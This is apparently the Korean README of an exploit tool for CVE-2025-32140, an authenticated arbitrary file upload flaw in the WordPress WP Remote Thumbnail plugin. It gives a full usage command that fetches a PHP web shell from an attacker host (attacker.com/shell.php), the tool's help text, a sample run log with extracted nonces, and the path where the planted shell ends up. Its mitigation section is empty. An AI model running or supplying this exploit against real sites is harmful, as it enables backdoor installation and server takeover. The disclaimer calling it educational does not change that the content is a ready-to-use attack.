
WordPress WP Remote Thumbnail 플러그인 <= 1.3.2은 임의 파일 업로드(Arbitrary File Upload) 취약점에 영향을 받습니다.
CVE-2025-32140는 WordPress용 WP Remote Thumbnail 플러그인의 치명적인 취약점입니다. 이 취약점은 검증되지 않은 URL을 허용하는 결함이 있는 기능을 악용하여 인증된 공격자(contributor 이상 권한)가 웹 셸과 같은 임의의 파일을 업로드할 수 있게 합니다.
이 플러그인은 제공된 remote_thumb URL에서 가져온 파일 유형이나 콘텐츠를 검증하지 않습니다. 따라서 공격자는 악성 PHP 파일(예: 백도어)을 /wp-content/uploads 디렉터리에 저장할 수 있습니다.
edit_post 권한이 있는 인증된 사용자)이 Python 스크립트는 CVE-2025-32140의 악용을 자동화하며 다음 단계를 수행합니다:
remote_thumb 매개변수를 통해 악성 요청을 구성하고 전송합니다.python CVE-2025-32140.py -u http://target.com/wordpress -un admin -p admin -uid 1 -pid 631 --shell http://attacker.com/shell.php
usage: CVE-2025-32140.py [-h] --url URL --username USERNAME --password PASSWORD --user_ID USER_ID --post_ID POST_ID --shell SHELL
Exploit For CVE-2025-32140 # By: Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
--url, -u URL Target WordPress site URL (e.g., http://192.168.100.74:888/wordpress)
--username, -un USERNAME
Username
--password, -p PASSWORD
Password
--user_ID, -uid USER_ID
User ID (usually 1 for admin)
--post_ID, -pid POST_ID
Target post ID
--shell SHELL URL of the shell to be uploaded (e.g., http://attacker.com/shell.php)
[+] Logged in successfully.
[+] Cookies set successfully.
[DEBUG] Extracted _wpnonce: b4ef78e77d
[DEBUG] Extracted meta-box-order-nonce: 0c192fe62e
[DEBUG] Extracted closedpostboxesnonce: 52be514040
[DEBUG] Extracted samplepermalinknonce: 7b213c6597
[DEBUG] Extracted wprthumb_nonce: 45803ee312
[DEBUG] Extracted X-WP-Nonce: None
[+] Exploit POST sent successfully. Check your uploads directory.
By: Nxploited ( Khaled Alenazi ) | https://github.com/Nxploited
악용에 성공하면 업로드된 웹 셸은 다음 위치에 저장될 가능성이 높습니다:
http://target.com/wordpress/wp-content/uploads/YYYY/MM/shell.php
YYYY/MM을 업로드한 현재 연도와 월로 바꾸세요.
이 취약점으로 인한 위험을 완화하려면:
이 스크립트는 교육 목적으로만 제공됩니다.
저자는 이 익스플로잇으로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
| 옵션 | 별칭 | 설명 |
|---|
--url | -u | 대상 WordPress 사이트 URL (예: http://target.com/wordpress) |
--username | -un | 게시물 편집 권한이 있는 WordPress 사용자 이름 |
--password | -p | 지정된 사용자 이름의 비밀번호 |
--user_ID | -uid | WordPress 사용자 ID (보통 관리자는 1) |
--post_ID | -pid | 편집할 게시물의 ID (초안 가능) |
--shell | 공격자의 서버에 호스팅된 PHP 웹 셸의 직접 URL |